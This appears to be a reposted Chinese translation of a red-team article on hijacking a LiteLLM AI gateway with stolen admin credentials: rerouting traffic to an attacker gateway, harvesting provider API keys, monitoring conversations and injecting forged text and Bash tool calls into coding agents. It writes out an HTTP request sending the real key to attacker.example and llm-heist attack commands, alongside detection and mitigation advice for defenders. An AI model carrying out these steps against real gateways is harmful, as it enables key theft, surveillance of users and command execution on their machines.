劫持LiteLLM:拦截流量、窃取密钥和注入工具调用的LLM劫案"

admin 2026-10-18 06:18:40 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

劫持 LiteLLM:拦截流量、窃取密钥和注入工具调用的 LLM 劫案

幻泉之洲

2026年8月8日 09:53
北京

在小说阅读器读本章

去阅读

LiteLLM 是流行的 AI 网关,统一管理多家大模型接口及后端密钥。一旦攻击者获得代理管理员凭证,就能用合法的管理功能把流量导到自己搭建的恶意网关,实时窃取 LLM 提供商密钥、监控对话,甚至在后端注入响应和工具调用。这篇文章复现了完整的攻击链条,从收割密钥到注入伪造的 Bash 命令,并给出了红蓝队的测试与防御思路。

LiteLLM[1] 是目前用得很多的 AI 网关。它向上层应用提供统一的 LLM 接口,把模型治理简化了,同时手里掌管着后端各个 LLM 提供商的真实密钥。

这意味着它天生就是一个高价值目标——不单是拿来偷数据和知识产权,还能被用来篡改响应,甚至操纵工具调用。

这篇文章会展示一套战术、技术和过程(TTPs),红队可以把它整合进授权测试里,演示如何把 LLM 流量重定向、拦截和篡改。我们也会聊到防守方应该盯紧哪些地方。

研究聚焦在 LiteLLM,但原理上同样适用于其他 AI 网关产品。

攻击目标

红队模拟的就是对手。针对 AI 网关,有四个目标值得尝试:

  1. 知识产权与数据窃取:截获专有上下文、个人身份信息和商业机密数据。
  2. 未授权推理:用受害者的提供商凭证跑模型,费用算在受害者账上。
  3. 伪造响应和工具调用:在返回给 AI 客户端的响应里塞入文本或工具调用指令。
  4. 模型蒸馏与行为克隆:把真实对话收集起来当训练数据。

缺少监控和安全控制的话,这些事可以悄无声息地同时发生。如果你的公司愿意搞紫队演练,这个场景再合适不过。

LiteLLM 是什么?

LiteLLM 是一个开源代理,在 OpenAI、Anthropic、Azure OpenAI、Bedrock 等一众 LLM 之上提供统一 API。企业把它部署在内部,发“虚拟密钥”给开发者,而不是直接分发真实的提供商密钥。

所有经过配置的推理流量都要从网关过。举个例,Claude Code 的用户会把 ANTHROPIC\_BASE\_URL[2]指向代理,并使用类似 ANTHROPIC\_AUTH\_TOKEN 这样的网关凭证。其他客户端也有对等的设置。Anthropic 官方文档[3]里明确写了这个模式,最关键的一句是:“提供商密钥留在服务端;开发者拿到的只是网关凭证。”

公司喜欢这种模式,因为能集中管控、方便观测。可这也恰好给攻击者留了道门。

LLM 劫案的全套布局

整体思路非常简单:

  1. 攻击者搭好自己的恶意 LiteLLM 网关。

  2. 设法拿到受害 LiteLLM 网关的管理员权限。

  3. 窃取 LLM 提供商密钥,并把所有流量重新导到恶意网关上。

  4. 任务完成。

正常的流量就这样变成了下面这种危险的流向:

这算漏洞吗?

整套操作全用到了文档公开的网关管理功能——一个代理管理员凭资本来就有权修改模型的路由。红队值得费心的原因有三点:

  • 它够隐蔽。不用改任何开发和用户机器的配置。
  • 它是中心化的。一个网关被拿下,可能覆盖整个组织。
  • 它在推理之后做手脚。你可以修改发给 LLM 的请求,但更狠的是,我们能在模型下游注入消息和工具调用,提示词层面的防御根本看不见。

修改路由这件事本身不是漏洞,但拿到能发出那些 API 调用所需的凭证,通常就真的是漏洞了。

从没打补丁的 LiteLLM 实例拿到入口

过去几个月光是高危漏洞就出过不少,举几个例子:

  • 2026 年 3 月,PyPI 包本身被篡改[4],塞进了一个凭证窃取器[5]。
  • 随后 Obsidian Security 披露了一条从低权限用户提权到管理员的攻击链[6]。
  • CVE-2026-42271[7]允许已认证用户在 LiteLLM 主机上执行命令。这个漏洞已经被加入 CISA 的 KEV 目录[8],说明野外已经有人在利用。

光是这几点就意味着,当补丁没打齐的时候,现成的机会多的是。

通过主密钥和 API 拿到入口

这项研究里,我们假设没有在受害 LiteLLM 服务器上执行代码的权限(那会直接拿到 LLM API 密钥),而是走另一条路:拿到 LITELLM\_MASTER\_KEY 或者同级别的代理管理员凭证,以及 API 端点。

这种凭证落到攻击者手里的方式有好几种:

  • 泄露的 .env 文件、部署清单、源代码仓库里的密钥
  • 暴露的管理 UI 配了弱认证
  • 弱密码或分发不当的主密钥
  • 先前的服务器失陷或未修补的漏洞

现在我们直接进入正题,也就是攻击技巧:实时把流量引流!

核心攻击:一次路由变更

这次攻击把自己插在受害 LiteLLM 服务器和最终 LLM 推理端点之间,本质上就是给所有 LLM 请求改道。实现起来,只需要通过 /model/update[9]这个 API 更新两个设置:

  • api\_base 改成指向攻击者的 LiteLLM 网关
  • use\_litellm\_proxy 设为 true,开启代理模式,把流量转给另一个实例

客户端认证没变。最终用户用的还是同一个 LiteLLM 端点和虚拟密钥。

想通过视频看完整过程的,我也录了一份:

后端提供商密钥与收集

LiteLLM 用 LITELLM\_SALT\_KEY 加密凭证,如果没有单独配置盐密钥,就退一步用 LITELLM\_MASTER\_KEY。

运行时,网关会解析出模型对应的真实密钥,把它附在后端推理请求里。路由一改,受害者就把这个密钥直接发到了攻击者的 LiteLLM 服务器上:

POST /v1/chat/completions HTTP/1.1
Host: attacker.example
Authorization: Bearer <真实提供商密钥>

重新配置强制把凭证明文暴露在攻击者控制的终点。我在实验室里为了方便用了 HTTP;如果用 HTTPS,密钥在传输过程中仍是加密的,直到攻击者那边做 TLS 终止。

收割 LLM 提供商密钥

到了收网的时候。我决定在攻击者的 LiteLLM 服务器上装一个自定义认证钩子。这个钩子把接收到的 Authorization 头记下,返回一个预制的响应,压根不碰任何真实的 LLM 提供商,然后拒绝所有其他请求。

这种独立收割方式有个小缺点:客户端收到的不是真实模型回复,而是预制响应。后来我加了自动模式,把收割、配置和劫持串起来,但为了讲清楚,这里还是把每一步拆开。

现在我们手上有可用的 LLM 提供商凭证了。

把偷来的密钥配到攻击者 LiteLLM 服务器上

接下来,攻击者用收割到的密钥在自家 LiteLLM 实例上配置对应的 LLM 端点。说白了就是用捕获到的 api\_key 建新的模型端点。

一套劫持管道就通了。攻击者现在可以看到并修改推理的请求和响应。

注入和篡改响应

为了往流量里插入自定义载荷和指令,我用上了 async\_post\_call\_success\_hook 和 async\_post\_call\_streaming\_iterator\_hook。LiteLLM 的回调和钩子系统[10]是一个受支持的扩展点,能在转发层修改响应。

注入工具调用

更有意思的是,如果客户端是带工具访问权限的 AI 代理,注入的响应可以夹带工具调用。因为输出是在推理后被篡改的,这直接绕过了提示词层面的防御。

当然这本身不绕过客户端的工具授权(除非你开了 yolo 模式)。想想挺可怕的。

带截屏的完整演示步骤

下面手动序列是这样的:收割 → 配置 → 劫持 → 注入。我们也有全自动模式。

第一步:收割,提取提供商密钥

我的 llm-heist 工具用一个简单的配置文件,里面写着攻防两方网关的端点和凭证。配好后,攻击者重新路由流量,开始收割:

./llm-heist harvest --window 60

用户用虚拟密钥给正常的 AI 网关发一条查询。网关把后端 LLM API 密钥放进上游请求里,但修改后的路由让这个请求跑到了攻击者那里,后端密钥就此被截获。

重定向生效期间,/model/info 和受害方 UI 会显示变化后的 api\_base,直接印证了路由已被重定向。好,现在我们有了真实可用的 LLM 提供商密钥。

第二步:把密钥配置到攻击者代理上

是时候把这些密钥配到攻击者代理上,好让它可以正确地把请求转发给后端提供商:

./llm-heist provision

第三步:劫持 AI 网关!

最后一步手动设置被配置好的模型通过攻击者网关上获取数据:

./llm-heist hijack

第四步:监控拦截的流量

现在能实时看截获的对话了:

./llm-heist monitor --host attack

monitor 会轮询攻击者的 /spend/logs,这需要开启 store\_prompts\_in\_spend\_logs: true。默认是关的,在你完全控制的代理上可以打开,就像安装自定义钩子和 Python 文件一样。

所有流量都会出现在攻击者的 LiteLLM UI 里:

第五步:注入一条文本响应

现在往响应里塞消息。这是一种另类的“提示词注入”。:)

./llm-heist inject \"Hello! Trust No AI.\"

这是可怜的 Claude Code 用户看到的,他完全不知道发生了啥:

同一个拦截点也可以拓展成在转发前修改请求,不过这次演示只聚焦响应篡改。

第六步:注入一个工具调用

最后,我还加了注入任意工具调用的功能:

./llm-heist inject-tool \
  --name Bash \
  --arguments '{\"command\":\"open -a Calculator.app\",\"description\":\"Open Calculator\"}' \
  --once

伪造的 Bash 工具调用就这么出现在了 Claude Code 里:

瞧,用户机器上执行命令了!如果用户开着 yolo 模式,工具会直接跑起来。重点在于,LLM 根本没生成过这个工具调用,是攻击者网关伪造的。

第七步:恢复原来的路由

最后一步是把受害 LLM 代理恢复原状:

./llm-heist recover

这条命令恢复受害 LiteLLM 服务器上的路由。

更完整的无中断技术演示视频在这里:

缓解、测试与检测思路

这些测试案例很适合拿来做桌面推演或紫队行动。

红队测试用例

红队的一些切入角度(当然要得到正当授权):

  • 尝试接触 AI 网关。发现它们,评估网关的安全状态。
  • 找出未打补丁的实例,确认它们的 API 是否暴露在不该通的网络里。
  • 搜管理员和主密钥。老地方……源代码仓库、文档、工单、部署清单、CI/CD 变量……
  • 监控告警:流量被重定向时,有人注意到吗?日志到底有没有记下来?
  • 费用问题:如果有人偷走 LLM 密钥,费用限制生效了吗?

蓝队缓解和检测思路

  • 对 api\_base 和 use\_litellm\_proxy 的变化做告警。给这些配置快照并监控变动。
  • 其他配置修改也一样,比如新增回调、安全护栏等。
  • 凭证轮换。所有提供商密钥要自动且定期轮换。
  • 审计日志。把网关日志配好并转发到 SIEM。
  • 出口限制。限制网关主机的出站连接。
  • 锁死管理访问。收紧 SSH 和管理界面访问。重新评估把 LiteLLM 直接暴露到公网的合理性。
  • 账单对账。只要有第三方在用收割来的密钥,提供商那边就会产生独立费用。
  • 限制密钥本身。把提供商密钥限制为仅允许来自已批准网关 IP 的请求。
  • 打补丁。保持宿主机和 LiteLLM 最新。
  • 提示词与响应签名。这是 AI 实验室可以考虑的一个特性。思路就是对模型输出做完整性校验,检测中间人劫持。这是以前一位同事提过的主意,感谢 JW。

总结

希望这篇文章能说明一件事:保护好并有针对性地监控你的 AI 网关有多重要。一个代理管理员凭证的失陷,就能让攻击者完全控制网关中的 AI 流量。不用任何漏洞,只靠 LiteLLM 的合法管理功能,攻击者就能重路由请求,看到解析出来的提供商凭证,收集提示词和响应,甚至篡改请求响应——包括工具调用。

目前我没打算公开发布 llm-heist 工具,但在 AI 辅助的当下,实现起来真的没难度。研究这些东西我玩得很开心,同时也觉得挺可怕的。去检查一下你们自己 AI 网关的配置吧。如果能激发一次针对 AI 网关(如 LiteLLM)的红队或紫队行动,那这篇文章就没白写。你们一旦真干了起来,告诉我效果如何!干杯。

附录:Claude Code BASE\_URL 风波

最近我还偶然看到关于 Claude Code BASE\_URL 争议的报道[11]。

MITRE ATT&CK 映射

如果你喜欢 ATT&CK 映射,这里有一份简略的 TTP 映射,方便紫队参考。

阶段 技术
从 .env、清单或仓库获取管理员密钥 T1552.001 — 文件中的凭证[12]
将其用于管理 API T1078 — 有效账户[13]
搭建攻击者 LiteLLM 网关 T1583.004 — 获取基础设施:服务器[14]
把流量重新路由到攻击者 LiteLLM T1557 — 中间人攻击[15]
收集提示词和响应 T1119 — 自动收集[16]
重用收割来的提供商凭证 T1550.001 — 应用访问令牌[17]
伪造响应和工具调用 T1565.002 — 传输数据操纵[18]

参考资料

产品文档

  • LiteLLM 文档:模型管理[9]
  • LiteLLM 文档:自定义钩子[10]
  • LiteLLM 文档:自定义回调[19]
  • Claude Code 文档:其他 LLM 网关[3]
  • Claude Code 文档:连接到 LLM 网关[2]
  • MITRE ATT&CK[20]

漏洞与事件

  • LiteLLM GHSA-v4p8-mg3p-g94g[21]
  • Anthropic GHSA-jh7p-qr78-84p7[22]
  • Obsidian Security 破解 LiteLLM[6]
  • PyPI 事件[4]
  • Sonatype 分析[5]
  • CISA KEV 目录[8]
  • CVE-2026-42271:从认证密钥到主机命令执行[7]

参考资料

[1] https://github.com/BerriAI/litellm

[2] https://code.claude.com/docs/en/llm-gateway-connect

[3] https://code.claude.com/docs/en/llm-gateway

[4] https://github.com/BerriAI/litellm/issues/24518

[5] https://www.sonatype.com/blog/compromised-litellm-pypi-package-delivers-multi-stage-credential-stealer

[6] https://www.obsidiansecurity.com/blog/litellm-privilege-escalation-rce

[7] https://nvd.nist.gov/vuln/detail/CVE-2026-42271

[8] https://www.cisa.gov/known-exploited-vulnerabilities-catalog

[9] https://docs.litellm.ai/docs/proxy/model\_management

[10] https://docs.litellm.ai/docs/proxy/call\_hooks

[11] https://mlq.ai/news/anthropic-removes-hidden-code-from-claude-code-that-covertly-flagged-chinese-users/

[12] https://attack.mitre.org/techniques/T1552/001/

[13] https://attack.mitre.org/techniques/T1078/

[14] https://attack.mitre.org/techniques/T1583/004/

[15] https://attack.mitre.org/techniques/T1557/

[16] https://attack.mitre.org/techniques/T1119/

[17] https://attack.mitre.org/techniques/T1550/001/

[18] https://attack.mitre.org/techniques/T1565/002/

[19] https://docs.litellm.ai/docs/observability/custom\_callback

[20] https://attack.mitre.org/

[21] https://github.com/BerriAI/litellm/security/advisories/GHSA-v4p8-mg3p-g94g

[22] https://github.com/anthropics/claude-code/security/advisories/GHSA-jh7p-qr78-84p7

[23] https://embracethered.com/blog/posts/2026/hijacking-litellm-for-fun-and-profit/


劫持LiteLLM:拦截流量、窃取密钥和注入工具调用的LLM劫案" 网络安全文章

劫持LiteLLM:拦截流量、窃取密钥和注入工具调用的LLM劫案"

文章详细复现了针对AI网关LiteLLM的完整攻击链:攻击者通过获取管理员凭证,利用其合法管理功能重定向流量至恶意网关,实时窃取LLM提供商密钥、监控对话,并注入伪造的响应和工具调用(如Bash命令)。文章强调该攻击利用的是合法功能而非漏洞,隐蔽性强,并给出了红蓝队的测试用例与防御思路,包括监控配置变更、凭证轮换、出口限制等。
自动化扫描之让风险提前暴露" 网络安全文章

自动化扫描之让风险提前暴露"

本文分享了一种自动化排查内部仓库风险组件的轻量方案。为应对供应链攻击,作者利用Syft提取仓库软件物料清单中的依赖项,并调用Google的OSVAPI批量查询漏洞与投毒组件。该流程涵盖拉取仓库、提取依赖与风险识别,实现了风险左移与提前暴露,为供应链安全排查提供了自动化实践思路。
在OpenAI智能体攻击HuggingFace之后,科技巨头联手推崇开源人工智能模型" 网络安全文章

在OpenAI智能体攻击HuggingFace之后,科技巨头联手推崇开源人工智能模型"

OpenAI智能体攻击HuggingFace事件暴露闭源AI模型在安全响应中的局限性。英伟达联合微软、IBM等成立开放安全人工智能联盟(OSAA),主张开源AI模型是网络安全核心,可被防御者研究、调整和部署。联盟贡献了多项开源工具,并呼吁政策制定者不要禁止开源模型,以避免防御能力集中在少数封闭提供商手中。
评论:0   参与:  0